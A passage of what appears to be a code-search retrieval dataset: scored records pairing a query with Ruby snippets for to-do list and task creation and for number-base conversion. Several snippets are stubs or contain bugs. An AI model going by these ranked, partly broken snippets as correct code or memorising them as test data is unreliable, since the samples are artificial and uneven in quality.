"text": "def add task, priority=1\n\t\t\tlist = Helpers::DATABASE[:Lists].select(:Total, :Id)[:Name=>Todo::Config[:working_list_name]]\n\t\t\tif !list\n\t\t\t\tHelpers::DATABASE[:Lists] << {:Name => Config[:working_list_name], :Total => 0}\n\t\t\t\tlist = Helpers::DATABASE[:Lists].select(:Total, :Id)[:Name=>Todo::Config[:working_list_name]]\n\t\t\tend\n\t\t\tcount = list[:Total]+1\n\t\t\tHelpers::DATABASE[:Tasks] << {:Task_number => count, :Name => task, :Completed => 0, :Priority => priority}\n\t\t\tlist_id = list[:Id]\n\t\t\ttask_id = Helpers::DATABASE[:Tasks].with_sql(\"SELECT last_insert_rowid() FROM Tasks\")\n\t\t\tHelpers::DATABASE[:Task_list] << {:Task_id => task_id, :List_id => list_id}\n\t\t\tHelpers::DATABASE[:Lists].filter(:Id => list_id).update(:Total => count)\n\t\tend",
"title": ""
},
{
"docid": "57db2de043a71103b0cbc9d4e1d17642",
"score": "0.641622",
"text": "def create\n @tlist = Tlist.new(tlist_params)\n\n respond_to do |format|\n if @tlist.save\n format.html { redirect_to @tlist, notice: 'Tlist was successfully created.' }\n format.json { render :show, status: :created, location: @tlist }\n else\n format.html { render :new }\n format.json { render json: @tlist.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "ee4312d2fbc4553e243fcf8c98085fc1",
"score": "0.6414899",
"text": "def create_list(name:)\n JSON.parse(api_request(method: :post, path: \"lists\", params: list_params(name)))\n end",
"title": ""
},
{
"docid": "cb94c5144fbbaba33f40094c1ad569b2",
"score": "0.6413712",
"text": "def create_task(_account_list, _contact)\n fail 'This method needs to be implemented in a subclass'\n end",
"title": ""
},
{
"docid": "ff7620db071052328681c8f19fed19e2",
"score": "0.6413085",
"text": "def create_task(project_id, params)\n c_r Lokalise::Resources::Task, :create, project_id, params\n end",
"title": ""
},
{
"docid": "e509e798935f6440554c514e6f1a1151",
"score": "0.6403973",
"text": "def create_task(patient)\n t = Task.new\n test_details.each do |tdetail|\n test = tdetail.name.constantize.new\n test.create_one(tdetail)\n t.tests << test\n test.save\n end\n t.patient = patient\n t.save\n self.tasks.append(t)\n end",
"title": ""
},
{
"docid": "6ba7d17fa44c5103e8f4e68d31d7341f",
"score": "0.63951033",
"text": "def create\n @project.todo_lists.new(todo_params)\n respond_to do |format|\n if @project.save\n format.html { redirect_to @project, notice: 'Todo added successfully.' }\n format.json { render :show, status: :created, location: @project }\n else\n format.html { render :new }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "9e772bf55b797d0ddb1a4821c79fa974",
"score": "0.637679",
"text": "def add_tasks_to_tasklist(task)\n @container << task\n end",
"title": ""
}
] |
deddc39915b583b29954eb101d5ca69c
|
/////////////////////////////////////////////////////// => CONVERTING FROM_BASE TO BASE10 THEN CONVERTING TO TO_BASE we take our values and reverse them for readability. Starting from the left hand => side, we multiply the value by the power of each base
|
[
{
"docid": "0daaec030040661484abfad167d31ee5",
"score": "0.57954097",
"text": "def convert_to_decimal_array(value_array_string, from_base)\r\n index = 0\r\n value_array_integer = value_array_string.map { |e| e.to_i }.reverse\r\n for element in value_array_integer\r\n value_array_integer[index] = element * (from_base**index)\r\n index +=1\r\n end\r\n return value_array_integer\r\nend",
"title": ""
}
] |
[
{
"docid": "4c18f9888f47ac2165d7241c7d016791",
"score": "0.77936924",
"text": "def convert_base(digits, from_base, to_base)\n bignum = 0\n digits.each { |digit| bignum = bignum * from_base + digit }\n converted = []\n until bignum.zero?\n bignum, digit = bignum.divmod(to_base)\n converted.push(digit)\n end\n converted << 0 if converted.empty? # THINK: correct?\n converted.reverse\n end",
"title": ""
},
{
"docid": "207159bb11f5aebf3b35effec0ae1a20",
"score": "0.73991925",
"text": "def base2to10(binary)\n result = 0\n base = 0\n binary.to_s.reverse.each_char do |digit|\n result += digit.to_i * 2**base\n base +=1\n end\n result\nend",
"title": ""
},
{
"docid": "2bd2af71f19869fe2e209968bd7e159a",
"score": "0.72836584",
"text": "def base2to10(binary)\n result=0\n power=0\n binary.split(\"\").reverse.each do |num|\n result += num.to_i * 2**power\n power+=1\n end\n result\n\nend",
"title": ""
},
{
"docid": "54497e0c5e99dc625bd360274f360017",
"score": "0.7279315",
"text": "def convert_to_base_10(num, base)\n\t\tbase_ = {\"A\" => 10, \"B\" => 11, \"C\" => 12, \"D\" => 13, \"E\" => 14, \"F\" => 15}\n\t\tresult = 0\n\t\ti = 1\n\t\tnum.split(\"\").each do |char|\n\t\t\tif base.to_i < 10\n\t\t\t\tresult += char.to_i * (base.to_i ** (num.length-i))\n\t\t\t\ti += 1\n\t\t\telse\n\t\t\t\tif base_.include?(char)\n\t\t\t\t\tresult += base_[char] * (base.to_i ** (num.length-i))\n\t\t\t\telse\n\t\t\t\t\tresult += char.to_i * (base.to_i ** (num.length-i))\n\t\t\t\tend\n\t\t\t\ti += 1\n\t\t\tend\n\t\tend\n\t\tresult.to_s\n\tend",
"title": ""
},
{
"docid": "0ad5c2c41f86cc0322e7085a057b40ac",
"score": "0.7240855",
"text": "def from_base_10_to(starting_base=10)\n\t\thas=places(starting_base)\n\t\tnum = 0\n\t\thas.each{|key,value| num += (value*(10**key))}\n\t\treturn num\n\tend",
"title": ""
},
{
"docid": "da3a5fea589b0cc93dcc3c9fc37d3300",
"score": "0.7237639",
"text": "def to_base(base=10)\n raise \"Error: Can't handle bases greater than 64\" if base > 64\n\n n = self\n digits = []\n alphabet = BASE_DIGITS[0...base]\n\n if bits = SMALL_POWERS_OF_2[base]\n # a slightly accelerated version for powers of 2\n mask = (2**bits)-1\n\n loop do\n digits << (n & mask)\n n = n >> bits\n\n break if n == 0\n end\n else\n # generic base conversion\n loop do\n n, digit = n.divmod(base)\n digits << digit\n\n break if n == 0\n end\n end\n\n digits.reverse.map { |d| alphabet[d] }.join\n end",
"title": ""
},
{
"docid": "8100a56781e89346f9cf4f367c5e9ddc",
"score": "0.72211057",
"text": "def base2to10(binary)\n new_num = 0\n binary.reverse.chars.each_with_index do |val, power|\n new_num += (val.to_i * 2 ** power)\n end\n new_num\nend",
"title": ""
},
{
"docid": "8100a56781e89346f9cf4f367c5e9ddc",
"score": "0.72211057",
"text": "def base2to10(binary)\n new_num = 0\n binary.reverse.chars.each_with_index do |val, power|\n new_num += (val.to_i * 2 ** power)\n end\n new_num\nend",
"title": ""
},
{
"docid": "05f242ed6b631ae4e16fb8e9e57faa33",
"score": "0.71767867",
"text": "def base2to10(binary)\n\tchars = binary.chars\n\tnums = []\n\tchars.each do |c|\n\t\tnums << c.to_i\n\tend\n\tpower = 0\n\tbase10 = 0\n\twhile nums.length > 0\n\t\tn = nums.pop\n\t\tbase10 += n*(2**power)\n\t\tpower += 1\n\tend\n\tbase10\nend",
"title": ""
},
{
"docid": "01f8fcbcabb697cab6aae48ba5706407",
"score": "0.7150547",
"text": "def base2to10(binary)\nend",
"title": ""
},
{
"docid": "2dd6924179d547286851ab30b85228b9",
"score": "0.71238124",
"text": "def base2to10(binary)\n arr = binary.to_s.split(\"\")\n base_10 = 0\n\n arr.each_with_index do |s,i|\n int = s.to_i\n exp = arr.length - 1 - i\n base_10 += int * (2 ** exp )\n end\n base_10\n\nend",
"title": ""
},
{
"docid": "a25a7cbd876fe1571a1f1fb7261cddf3",
"score": "0.7110294",
"text": "def base_converter(num, b)\nend",
"title": ""
},
{
"docid": "a25a7cbd876fe1571a1f1fb7261cddf3",
"score": "0.7110294",
"text": "def base_converter(num, b)\nend",
"title": ""
},
{
"docid": "0f59c1a2be14e576d65768a8f0f29e58",
"score": "0.70825535",
"text": "def base_converter(num, b)\n\n end",
"title": ""
},
{
"docid": "1b90e0b9dc0bc792183c9ef2e4447c07",
"score": "0.70738006",
"text": "def base_converter(num, b)\n return \"\" if num == 0\n digits = ('0'..'9').to_a + ('a'..'f').to_a\n base_converter(num/b, b) + digits[num % b]\nend",
"title": ""
},
{
"docid": "af8ff10ef4bb3d5ed397fac4482f0600",
"score": "0.7062728",
"text": "def base_converter(num, b)\n return num.to_s if [0,1].include?(num)\n\n digits = %w(0 1 2 3 4 5 6 7 8 9 a b c d e f)\n base_converter(num/b, b) + digits[num % b]\nend",
"title": ""
},
{
"docid": "791100a5cd7234c83fa3c6a695db6ae7",
"score": "0.7046689",
"text": "def to_b(base)\n value = self\n degree = 0\n\n #find degree(higest power of base for leading digit)\n while value / base**(degree) > 1\n degree += 1\n end\n\n #popluates an array to house coresponding digits.\n digits = Array.new\n idx = 0\n while idx <= degree\n digit = (value / (base**(degree - idx)))\n digits.unshift(digit)\n value = value - (digit*(base**(degree - idx)))\n idx += 1\n end\n\n #returns a Mrrornum object with value arr based on given base and the base itself\n #*note that the order of arr is reversed from the typical format, so that the index value of the array is the same as the degree vaule of the particular digit at that index.\n return Mirrornum.new(digits, base)\n end",
"title": ""
},
{
"docid": "8ffc1cbd9ca54e2f5835f9edd8195b2c",
"score": "0.7035142",
"text": "def base_converter(num, b)\n return num.to_s if [0,1].include?(num)\n\n digits = %w(0 1 2 3 4 5 6 7 8 9 a b c d e f)\n base_converter(num/b, b) + digits[num % b]\n end",
"title": ""
},
{
"docid": "26fa6ea46ba69aac1c3826e4d9bf1496",
"score": "0.7027717",
"text": "def base_converter(num, b)\n\nend",
"title": ""
},
{
"docid": "4d0799f93a59b2d7c69aeabe6b153ac8",
"score": "0.7026669",
"text": "def base_converter(num, b)\n return \"\" if num == 0\n\n digits = %w(0 1 2 3 4 5 6 7 8 9 a b c d e f)\n base_converter(num / b, b) + digits[num % b]\nend",
"title": ""
},
{
"docid": "fc4749b50db9e0d049e43aa8962f882a",
"score": "0.70036113",
"text": "def from_base(digits, base)\n return nil if digits.empty?\n digits.each.with_index.reduce(0) do |acc, (digit, index)|\n position = (digits.length - index - 1)\n acc + digit * (base ** position)\n end\n end",
"title": ""
},
{
"docid": "1cc2d8b96b8fa933e15bf6d4bf734c3d",
"score": "0.69774646",
"text": "def base_converter(num, b)\n digits = %w(0 1 2 3 4 5 6 7 8 9 a b c d e f)\n return \"\" if num == 0\n base_converter(num/b, b) + digits[num % b]\nend",
"title": ""
},
{
"docid": "f2af64b5f0520702a56d13734ffeae53",
"score": "0.69245243",
"text": "def toBase(n, base)\n return n.to_s(base) if base > 0\n return '0' if n.zero?\n\n digits = []\n while n != 0\n n, remainder = n.divmod(base)\n if remainder < 0\n n += 1\n remainder -= base\n end\n digits << remainder\n end\n digits.join.reverse\nend",
"title": ""
},
{
"docid": "aaa0c3da248ea7a4e0bb9b4c265ff067",
"score": "0.691587",
"text": "def base_converter(num, b)\n return \"\" if num < 1\n\n digit = num % b\n if digit > 9\n remainder = digit - 9\n digit = (remainder + 96).chr\n end\n\n base_converter(num/b, b) + \"#{digit}\"\nend",
"title": ""
},
{
"docid": "53a67993dcbdd5bf7e53bb7c39498edc",
"score": "0.69011873",
"text": "def base_converter(num, b)\n keys = ('0'..'9').to_a + ('a'..'z').to_a[0,b]\n return '' if num <= 0\n base_converter(num / b, b) + keys[num % b]\n end",
"title": ""
},
{
"docid": "3107a4a7eb308e52c26d58b0a4cdfe21",
"score": "0.68795455",
"text": "def to_base(num, base)\n return [0] if num.zero?\n [].tap do |digits|\n while num > 0\n digits.unshift num % base\n num /= base\n end\n end\n end",
"title": ""
},
{
"docid": "2bc51a989be12a29edc426d5b9bf52f6",
"score": "0.68752307",
"text": "def convert(num)\n results = ''\n quotient = num.to_i\n \n while quotient > 0 \n results = @@base_map[quotient % @base] + results\n quotient = (quotient / @base)\n end\n results\n end",
"title": ""
},
{
"docid": "55d1263cb847bff7346091569ebe3431",
"score": "0.6851962",
"text": "def aoi_to_new_base (new_base,old_base=10)\n if (old_base == 10)\n @array.each {|x| @array[@array.index(x)] = x.to_s(new_base)}\n @array.each {|x| @array[@array.index(x)] = x.to_i}\n elsif (new_base == 10)\n @array.each {|x| @array[@array.index(x)] = x.to_s}\n @array.each {|x| @array[@array.index(x)] = x.to_i(old_base)}\n elsif (new_base != 10 and old_base !=10)\n @array = aoi_to_new_base(10,old_base)\n @array = aoi_to_new_base(new_base)\n end\n return @array\n end",
"title": ""
},
{
"docid": "09a630b975c24d9fb1b802257ba13abf",
"score": "0.67242014",
"text": "def convert_from_above_ten_base_to_to_base(split_value_array_string, from_base, to_base, library)\r\n decimal_value_array_string = get_decimal_value_of_hex_strings(split_value_array_string, library)\r\n decimal_array_integer = convert_to_decimal_array(decimal_value_array_string, from_base)\r\n sum = get_sum_value_array(decimal_array_integer)\r\n divide_new_value_by_to_base(sum, to_base, library)\r\nend",
"title": ""
},
{
"docid": "7376e1a9e0ea414196165f31f03ba8c1",
"score": "0.6711314",
"text": "def base2to10(binary)\n digits = binary.chars\n sum = 0\n\n digits.reverse.each_with_index do |digit, idx|\n sum += (digit.to_i * 2 ** idx)\n end\n\n sum\nend",
"title": ""
},
{
"docid": "5e560158bd1e61d8c89358e47af657af",
"score": "0.67100805",
"text": "def convert_to_decimal(number, base)\n\n result = 0\n multiplier = 1 #(any_base ^ 0 == 1)\n\n while (number > 0)\n result += (number % 10) * multiplier\n multiplier *= base\n number /= 10\n end\n\n return result\nend",
"title": ""
},
{
"docid": "caa61e6c4853325bd0a28dc0198f8804",
"score": "0.67099255",
"text": "def base2to10(binary)\n ctr = 0\n binary.chars.reverse.each_with_index do |n, i|\n ctr += n.to_i * 2 ** i\n end\n ctr\nend",
"title": ""
},
{
"docid": "4b87a5a8966868686341ae11ba315347",
"score": "0.6704488",
"text": "def convert_to_dec(num_array, base)\r\n result, place = 0, 0\r\n for digit in num_array.reverse\r\n result = result + digit * (base ** place)\r\n place = place + 1\r\n end\r\n result\r\n end",
"title": ""
},
{
"docid": "206de60fec4b6795ad2b4359e4a23de7",
"score": "0.66087425",
"text": "def convert_from_below_ten_to_new_base(value_array_string, from_base, to_base, library)\r\n decimal_array_integer = convert_to_decimal_array(value_array_string, from_base) #correct\r\n sum = get_sum_value_array(decimal_array_integer) #correct\r\n new_base_value = divide_new_value_by_to_base(sum, to_base, library)\r\nend",
"title": ""
},
{
"docid": "983689305807c80bb6b386d19e839014",
"score": "0.65928626",
"text": "def base_26_to_10(num_26)\n\tindex = num_26.length - 1\n\tnum_10 = 0\n\tnum_26.split(\"\").each do |i| \n\t\tnum_10 += BASE_26[i]*(26**index)\n\t\tindex -= 1\n\tend\n\tprint num_10\nend",
"title": ""
},
{
"docid": "647f5980962da043c0c427c8cc1f9d6f",
"score": "0.65665126",
"text": "def num_to_s(num, base)\n #created a hash where keys are digit numbers and the values are the digit strings.\n digit_to_s = {0 => \"0\", 1 => \"1\", 2 => \"2\", 3 => \"3\", 4 => \"4\", 5 => \"5\", 6 => \"6\", 7 => \"7\", 8 => \"8\", 9 => \"9\", 10 => \"a\", 11 => \"b\", 12 => \"c\", 13 => \"d\", 14 => \"e\", 15 => \"f\"}\n #created variables for a - f to use their values in calculating the base.\n \n #this will be the part of the function that does the calculations.\n idx = -1\n hex = 16\n digit_string = \"\"\n while idx < hex\n if ((num / base**hex)) == 0\n hex -= 1\n else\n digit_string = digit_string + digit_to_s[((num / base**hex) % base)]\n hex -= 1\n end\n end\n \n return digit_string\nend",
"title": ""
},
{
"docid": "1ea1d4c3764aa97dd8c7504e2e77a36b",
"score": "0.6534403",
"text": "def num_to_s (num, base)\n digits = []\n power = 0\n\n until num / (base**power) == 0\n digits.unshift (num / (base ** power) % base).to_s\n power += 1\n end\n\n digits.join('')\n\nend",
"title": ""
},
{
"docid": "954bd322c1a5b882ffa6e048db740956",
"score": "0.65052515",
"text": "def base_converter_2(str, b1, b2)\n num = convert_to_int(str, b1).to_s\n base10_converter(num, b2)\nend",
"title": ""
},
{
"docid": "edf63dbd75dcc585c00a665e09e6d4a4",
"score": "0.6502814",
"text": "def convert(input, base)\n if base\n if [\"b\", \"o\", \"d\", \"x\"].include?(base)\n input = \"0#{base}#{input}\"\n value = Integer(input)\n else\n value = Integer(input)\n end\n else\n value = Integer(input)\n end\n\n value\n end",
"title": ""
},
{
"docid": "d4f0cd9bff2d84b9bdb51ba5b6cd509f",
"score": "0.6481404",
"text": "def base_converter(num, b)\n return n.to_s if [0,1].include\nend",
"title": ""
},
{
"docid": "bc7f081109887169480a31c0f8db0d32",
"score": "0.6470516",
"text": "def convert(number, base)\n quotient = number / base\n remainder = number % base\n if(quotient == 0) # base case\n return CHARS[remainder].chr\n else\n return convert(quotient, base) + CHARS[remainder].chr\n end\n end",
"title": ""
},
{
"docid": "e0cb8833615830d9abe7eb9e81649e34",
"score": "0.6465225",
"text": "def convert_from_decimal(number, base)\n result = 0\n multiplier = 1\n 6.times do |i|\n multiplier *= base\n puts \"#{number} % #{multiplier} = #{number % multiplier}\"\n end\n\n #TODO :examine this further\n #why exactly does this part work?\n nums = []\n while number > 0\n nums << number % base\n number /= base\n end\n\n ####\n (0...nums.size).each do |i|\n result += nums[i] * (10 ** i)\n end\n return result\n\nend",
"title": ""
},
{
"docid": "834d8950b74b59a7f7433367ec0e08ed",
"score": "0.64618146",
"text": "def convert_base2(number)\n return number.to_s if number < 2\n return (number%2).to_s + (convert_base2(number/2)).to_s\nend",
"title": ""
},
{
"docid": "8e07590fb6198efc488e10d1acb2bd72",
"score": "0.63890284",
"text": "def base_to_decimal(value)\n Radix::Base.new(Radix::BASE::B10).convert(value.to_s, base_system) \n end",
"title": ""
},
{
"docid": "0173141afa3382e42adc1e6c8c15492e",
"score": "0.63465",
"text": "def base10_to_base2(num)\n return num.to_s if num == 1 || num == 2\n base10_to_base2(num / 2) + (num % 2).to_s\n end",
"title": ""
},
{
"docid": "56a2459bb2d2fb6b55b78d615d51bc68",
"score": "0.6344758",
"text": "def convert_to_base_8(n)\n n.divmod(8).join.to_i\nend",
"title": ""
},
{
"docid": "228aad3f67e721a76ee334707b489bb8",
"score": "0.6342689",
"text": "def base_two_converter(num)\n\t#585\n\tbinary_string = \"\"\n\twhile num != 0\n\t\tdiv = num/2\n\t\t# p num\n\t\tbinary_string << (num%2).to_s\n\t\tnum = div\n\tend\n\treturn binary_string\nend",
"title": ""
},
{
"docid": "09d6b6e4c960de41ee68b99f9433bd0b",
"score": "0.63364077",
"text": "def convert_to_decimal(input, base)\n # Convert the string to an array of numbers\n if base <= 10\n numbers = input.split(\"\").map(&:to_i)\n else\n numbers = convert_strings_with_hex(input, base)\n end\n\n # Get the largest exponent\n largest_exponent = numbers.size - 1\n \n # Initialise the result\n result = 0\n \n # Compute from left digit to right digit\n numbers.map { |num|\n result += num * (base**largest_exponent) # Multiply each digit to the base * exponent\n largest_exponent -= 1 # Decrement the exponent by 1 to get the next digit\n }\n result\nend",
"title": ""
},
{
"docid": "3bc43d0b815b94a572b146452b1e418b",
"score": "0.6332603",
"text": "def num_to_s(num, base)\n return 0 if num == 0\n # create hash for digits and characters\n characters = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 'A', 'B', 'C', 'D', 'E', 'F']\n result = []\n division = 1\n\n while num > division\n result << characters[(num/division) % base]\n division = division * base\n end\n\n result.reverse.join(\"\")\n\nend",
"title": ""
},
{
"docid": "05cae2adeb7da12dbe1f68ed20f98387",
"score": "0.6330372",
"text": "def divide_new_value_by_to_base(sum_value_of_array, to_base, library)\r\n copy_of_sum_value_of_array = sum_value_of_array\r\n value_array_string = []\r\n until copy_of_sum_value_of_array < to_base\r\n value_array_string.push(copy_of_sum_value_of_array % to_base)\r\n copy_of_sum_value_of_array /= to_base\r\n end\r\n value_array_string.push(copy_of_sum_value_of_array)\r\n value_array_string = value_array_string.reverse\r\n if to_base > 10\r\n return convert_to_above_ten_base(value_array_string, to_base, library)\r\n else\r\n return to_base_array_as_integer = value_array_string.join\r\n end\r\nend",
"title": ""
},
{
"docid": "07194650fe144bf186607d9c4fa2ca0f",
"score": "0.6318179",
"text": "def convert_to_base_8(n)\n n.to_s(8).to_i # replace these two method calls\nend",
"title": ""
},
{
"docid": "07194650fe144bf186607d9c4fa2ca0f",
"score": "0.6318179",
"text": "def convert_to_base_8(n)\n n.to_s(8).to_i # replace these two method calls\nend",
"title": ""
},
{
"docid": "138fee5d90d28276d2db8c1f9cc4e071",
"score": "0.62838465",
"text": "def adjust num, level\n if num >= 0\n num % (@base ** level)\n else\n s = num.to_s\n s[0..1] = (s[0..1].to_i(@base) % @base).to_s\n s.to_i @base\n end\n end",
"title": ""
},
{
"docid": "4fd530dec443f8532dbf0c0ead78394c",
"score": "0.6246821",
"text": "def num_to_s num, base\n return \"0\" if num == 0\n hex_mapping = [ \"0\", \"1\", \"2\", \"3\", \"4\", \"5\", \"6\", \"7\", \"8\", \"9\", \"a\", \"b\",\n \"c\", \"d\", \"e\", \"f\" ]\n str = \"\"\n i = 0\n while (num / (base ** i)) > 0\n str << hex_mapping[(num / (base ** i)) % base]\n i += 1\n end\n str.reverse\nend",
"title": ""
},
{
"docid": "69128094bb0b2b88d54144e084253728",
"score": "0.6184739",
"text": "def to_bits_text(base)\n to_bits.to_s(base)\n #i = to_bits\n #fmt = Numerals::Format[base: base]\n #if [2,4,8,16].include?(base)\n # n = (Math.log(base)/Math.log(2)).round.to_i\n # digits = (form_class.total_bits+n-1)/n\n # fmt.set_trailing_zeros!(digits)\n #end\n #fmt.writ(i.to_i)\n end",
"title": ""
},
{
"docid": "2cc1c95a4360b52f36f7a3077da6f2c0",
"score": "0.61751914",
"text": "def join_with_base(n,b)\n r = 0\n n.reverse.each { |d| r = r*b + d }\n return r\n end",
"title": ""
},
{
"docid": "68e27285c112d2bde94d20eb70a74640",
"score": "0.6173301",
"text": "def decimal_to_base(decimal)\n base_system.convert(decimal.to_s, Radix::Base.new(Radix::BASE::B10))\n end",
"title": ""
},
{
"docid": "717e7b7197a88e039f0fb95b84b23297",
"score": "0.61590767",
"text": "def dec_to_string(decimal_number, base = 10)\n return \"0\" if decimal_number == 0\n powers_of_base = powers_for(decimal_number, base)\n digits = []\n while last_exponent = powers_of_base.pop\n base_count, decimal_number = decimal_number.divmod(last_exponent)\n digits.push(DIGITS[base_count])\n end \n digits.join(\"\")\nend",
"title": ""
},
{
"docid": "77040afbb575b137c17de6762fdd1c51",
"score": "0.61535144",
"text": "def display_in_base(value, base, size)\n str = value.to_s(base)\n if Math.log2(base) % 1 == 0.0 # If base is power of 2.\n expected_bits = size * 8\n coverage_of_digit = Math.log2(base)\n expected_digits = expected_bits / coverage_of_digit\n str = pad_with_zeros(str, expected_digits)\n end\n str\nend",
"title": ""
},
{
"docid": "562d25e0d0e828de16d435016a5d6c88",
"score": "0.61376756",
"text": "def micro_to_base(amount)\n amount ? (amount / 1000000.0) : 0.0\nend",
"title": ""
},
{
"docid": "58658a4de0f938bdd67274cd456e8011",
"score": "0.61350256",
"text": "def nondec_numbers(base, &b)\n start = 0\n ten_in_base = \"10\".to_i(base)\n stop = ten_in_base\n while true\n nondec_digits((start..stop-1), base, &b)\n start = stop\n stop *= ten_in_base\n end\n end",
"title": ""
},
{
"docid": "a784b61219a476e62498025fe208cb8b",
"score": "0.6108572",
"text": "def convert_to_base7(num)\n return num.to_s(7)\nend",
"title": ""
},
{
"docid": "a037fe07f917db728a7597518f2bcbe5",
"score": "0.6106079",
"text": "def shift(number, base)\n shifted = ''\n number.each_char do |char|\n shifted << ((char.to_i(base) + 1) % base).to_s(base)\n end\n shifted\nend",
"title": ""
},
{
"docid": "a55181db9ee647749ff3e24197bb5fac",
"score": "0.6103648",
"text": "def to_b(base)\n self.to_i.to_b(base)\n end",
"title": ""
},
{
"docid": "2b2ac35ea9c1b7d99cab04cd038aa773",
"score": "0.6070246",
"text": "def to_i num_digits, base\n num_digits.times.sum { |e| base ** e }\nend",
"title": ""
},
{
"docid": "c580b99ac62e5255174175d89456fb20",
"score": "0.6068036",
"text": "def base_2(num)\n base_2_digits = []\n until num == 0\n base_2_digits << num % 2\n num /= 2\n end\n base_2_digits.reverse.join.to_i\nend",
"title": ""
},
{
"docid": "61ac8238768a2d537505b87aac4f99e1",
"score": "0.60477465",
"text": "def int_mult_radix_power(x,n)\n n < 0 ? (x / (10**(-n))) : (x * (10**n))\n end",
"title": ""
},
{
"docid": "a65ef140d491378b97d39480596613d7",
"score": "0.6033592",
"text": "def convert_numerals(num, base, fives, tens)\n\tif [0,1,2,3].include?(num)\n\t\treturn base * num\n\telsif 4 == num\n\t\treturn base + fives\n\telsif [5, 6, 7, 8].include?(num)\n\t\treturn fives + base * (num - 5)\n\telse\n\t\treturn base + tens\n\tend\nend",
"title": ""
},
{
"docid": "552d4006dc812545532f74670098a7c8",
"score": "0.6018136",
"text": "def to_base62\n result = []\n remainder = self\n max_power = ( Math.log(self) / Math.log(BASE62_BASE) ).floor\n \n max_power.downto(0) do |power|\n divisor = BASE62_BASE**power\n #p [:div, divisor, :rem, remainder] \n digit, remainder = remainder.divmod(divisor)\n result << digit\n end\n \n result << remainder if remainder > 0\n \n result.map{|digit| BASE62_DIGITS[digit]}.join ''\n end",
"title": ""
},
{
"docid": "33afc4cc0f603548367fc7bda873b5db",
"score": "0.6015628",
"text": "def pownoruby (base, exponent)\n\tresult = 1\n\ti = 1\n\twhile i <= exponent\t \n\t\tresult = result * base \n\t\ti += 1 \n\tend \n\treturn result \n\nend",
"title": ""
},
{
"docid": "259b795570fd515fabeb85e4845f3a5c",
"score": "0.60154825",
"text": "def convert_to_base_8(n)\n # n.method_name.method_name # replace these two method calls\n n.to_s(8).to_i # replace these two method calls\nend",
"title": ""
},
{
"docid": "18d54a48121743391d40aeec34354f17",
"score": "0.6014391",
"text": "def from_base62\n accumulator = 0\n digits = chars.map { |c| BASE62_DIGITS[c] }.reverse\n digits.each_with_index do |digit, power|\n accumulator += (BASE62_BASE**power) * digit if digit > 0\n end\n accumulator\n end",
"title": ""
},
{
"docid": "18d54a48121743391d40aeec34354f17",
"score": "0.6014391",
"text": "def from_base62\n accumulator = 0\n digits = chars.map { |c| BASE62_DIGITS[c] }.reverse\n digits.each_with_index do |digit, power|\n accumulator += (BASE62_BASE**power) * digit if digit > 0\n end\n accumulator\n end",
"title": ""
},
{
"docid": "802d2a495c08dbe22ee93bda0d48a95c",
"score": "0.59889454",
"text": "def convert(number, radix_base)\n radix_base = Radix::Base.new(radix_base) unless Radix::Base === radix_base\n\n case number\n when ::String, ::Numeric\n digits = number.to_s.split(//)\n else\n digits = number\n end\n\n # decode the digits\n digits = digits.map{ |digit| radix_base.values[digit] }\n\n # THINK: Is best way to check for base out of bounds?\n raise TypeError if digits.any?{ |digit| digit.nil? }\n\n digits = Radix.convert_base(digits, radix_base.base, base)\n digits = digits.map{ |digit| chars[digit] }\n digits.join\n end",
"title": ""
},
{
"docid": "9ffe05f1bd43b5661855b2b29665cb72",
"score": "0.59881365",
"text": "def to_base62\n result = []\n remainder = self\n max_power = ( Math.log(self) / Math.log(BASE62_BASE) ).floor\n\n max_power.downto(0) do |power|\n divisor = BASE62_BASE**power\n #p [:div, divisor, :rem, remainder]\n digit, remainder = remainder.divmod(divisor)\n result << digit\n end\n\n result << remainder if remainder > 0\n\n result.map{|digit| BASE62_DIGITS[digit]}.join ''\n end",
"title": ""
},
{
"docid": "1e80897c28c3766ae50f0b13dbb0c1e9",
"score": "0.59528196",
"text": "def convert_to_base_8(n)\n n.to_s(8).to_i\nend",
"title": ""
},
{
"docid": "1e80897c28c3766ae50f0b13dbb0c1e9",
"score": "0.59528196",
"text": "def convert_to_base_8(n)\n n.to_s(8).to_i\nend",
"title": ""
},
{
"docid": "1e80897c28c3766ae50f0b13dbb0c1e9",
"score": "0.59528196",
"text": "def convert_to_base_8(n)\n n.to_s(8).to_i\nend",
"title": ""
},
{
"docid": "1e80897c28c3766ae50f0b13dbb0c1e9",
"score": "0.59528196",
"text": "def convert_to_base_8(n)\n n.to_s(8).to_i\nend",
"title": ""
},
{
"docid": "1e80897c28c3766ae50f0b13dbb0c1e9",
"score": "0.59528196",
"text": "def convert_to_base_8(n)\n n.to_s(8).to_i\nend",
"title": ""
},
{
"docid": "1e80897c28c3766ae50f0b13dbb0c1e9",
"score": "0.59528196",
"text": "def convert_to_base_8(n)\n n.to_s(8).to_i\nend",
"title": ""
},
{
"docid": "a547b135847e7265f0cf115bbdc97f26",
"score": "0.5946486",
"text": "def transform_number(num)\n digits = num.to_s.chars\n\n value = 0\n digits.each do |digit|\n value += digit.to_i ** 2\n end\n\n value\nend",
"title": ""
},
{
"docid": "135c11d1ea8625c546faa29cdbb0597d",
"score": "0.59314936",
"text": "def to_decimal\n return 0 if tri_str.match(/[^0-BASE]/)\n\n tri_str.reverse\n .chars\n .map\n .with_index { |num, idx| num.to_i * (BASE ** idx) }\n .reduce(:+)\n end",
"title": ""
},
{
"docid": "160d4b7555003ff718c5c06356aa183d",
"score": "0.5930979",
"text": "def n_to_s n, base, char\r\n char * (n / base)\r\nend",
"title": ""
},
{
"docid": "cb17071c244d0ad19c7a28879d47b5c2",
"score": "0.5908414",
"text": "def convert_to_base8(n)\n n.to_s(8).to_i\nend",
"title": ""
},
{
"docid": "4e53d455a1635e5241dc4890c638fda4",
"score": "0.5897127",
"text": "def ui_pow(base, exp)\n result = 1;\n while (exp)\n if (exp & 1)\n result *= base\n end\n exp >>= 1;\n base *= base\n end\n if(exp==0)\n result=base\n end\n return result\nend",
"title": ""
},
{
"docid": "28611e9fec6387798c85e6b23922f47f",
"score": "0.58942014",
"text": "def transmogrifier(val1, val2, toThePower)\n product = val1*val2\n power_up = (product**toThePower)\n\n return power_up\nend",
"title": ""
},
{
"docid": "250c68bb54a8094e09a30b69e42bd9f6",
"score": "0.5891053",
